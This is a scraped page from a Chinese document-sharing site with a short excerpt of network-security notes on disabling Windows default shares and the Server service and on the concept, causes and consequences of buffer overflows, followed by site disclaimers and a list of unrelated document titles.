停用默認(rèn)共享 即C ADMIN 等netsharec delnetshareadmin del關(guān)閉文件共享服務(wù) 即Server服務(wù)徹底斷絕一切共享服務(wù)功能折中方案 需要開啟共享服務(wù)時(shí) 在防火墻例外規(guī)則中允許 文件和打印機(jī)共享 反之則關(guān)閉 歸根結(jié)底 最佳方案就是為用戶賬戶設(shè)置強(qiáng)密碼 緩沖區(qū)溢出 概念 緩沖區(qū)溢出指的是一種系統(tǒng)攻擊的手段 通過向程序的緩沖區(qū)寫超出其長(zhǎng)度的內(nèi)容 造成緩沖區(qū)的溢出 從而破壞程序的堆棧 使程序轉(zhuǎn)而執(zhí)行其它指令 以達(dá)到攻擊的目的 原因 造成緩沖區(qū)溢出的原因是程序中沒有仔細(xì)檢查用戶輸入的參數(shù) 緩沖區(qū)溢出就是將一個(gè)超過緩沖區(qū)長(zhǎng)度的字符串置入緩沖區(qū)的結(jié)果 后果 向一個(gè)有限空間的緩沖區(qū)中置入過長(zhǎng)的字符串可能會(huì)帶來兩種后果一是過長(zhǎng)的字符串覆蓋了相鄰的存儲(chǔ)單元 引起程序運(yùn)行失敗 嚴(yán)重的可導(dǎo)致系統(tǒng)崩潰 另一種后果是利用這種漏洞可以執(zhí)行任意指令 甚至可以取得系統(tǒng)特權(quán) 由此
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 基于2025年度財(cái)務(wù)預(yù)算的企業(yè)內(nèi)控體系構(gòu)建合同2篇
- 2025年退換貨協(xié)議書-珠寶首飾行業(yè)專用范本3篇
- 2025年上半年貴州遵義市規(guī)劃信息中心招聘研究生1人易考易錯(cuò)模擬試題(共500題)試卷后附參考答案
- 2025年上半年貴州省黔東南州直屬事業(yè)單位招聘11人(第二輪)易考易錯(cuò)模擬試題(共500題)試卷后附參考答案
- 2025年上半年貴州省煙草專賣局(公司)大學(xué)生招聘134人易考易錯(cuò)模擬試題(共500題)試卷后附參考答案
- 2025年上半年貴州電網(wǎng)限責(zé)任公司校園招聘600人易考易錯(cuò)模擬試題(共500題)試卷后附參考答案
- 2025年上半年貴州安順市新華書店限公司招聘10人易考易錯(cuò)模擬試題(共500題)試卷后附參考答案
- 2025年上半年衢州市城市亮化管理中心招考工作人員易考易錯(cuò)模擬試題(共500題)試卷后附參考答案
- 2025年上半年蚌埠市懷遠(yuǎn)縣龍亢經(jīng)濟(jì)技術(shù)開發(fā)區(qū)招考易考易錯(cuò)模擬試題(共500題)試卷后附參考答案
- 2025年上半年蘇州太湖國(guó)資本投資運(yùn)營(yíng)控股集團(tuán)限公司招聘3人易考易錯(cuò)模擬試題(共500題)試卷后附參考答案
- 2024年度醫(yī)院肝膽外科實(shí)習(xí)生帶教計(jì)劃課件
- 微機(jī)原理與接口技術(shù)考試試題及答案(綜合-必看)
- 勞務(wù)投標(biāo)技術(shù)標(biāo)
- 研發(fā)管理咨詢項(xiàng)目建議書
- 濕瘡的中醫(yī)護(hù)理常規(guī)課件
- 轉(zhuǎn)錢委托書授權(quán)書范本
- 一種配網(wǎng)高空作業(yè)智能安全帶及預(yù)警系統(tǒng)的制作方法
- 某墓園物業(yè)管理日常管護(hù)投標(biāo)方案
- 蘇教版六年級(jí)數(shù)學(xué)上冊(cè)集體備課記載表
- 內(nèi)蒙古匯能煤電集團(tuán)有限公司長(zhǎng)灘露天煤礦礦山地質(zhì)環(huán)境保護(hù)與土地復(fù)墾方案
- 22S702 室外排水設(shè)施設(shè)計(jì)與施工-鋼筋混凝土化糞池
評(píng)論
0/150
提交評(píng)論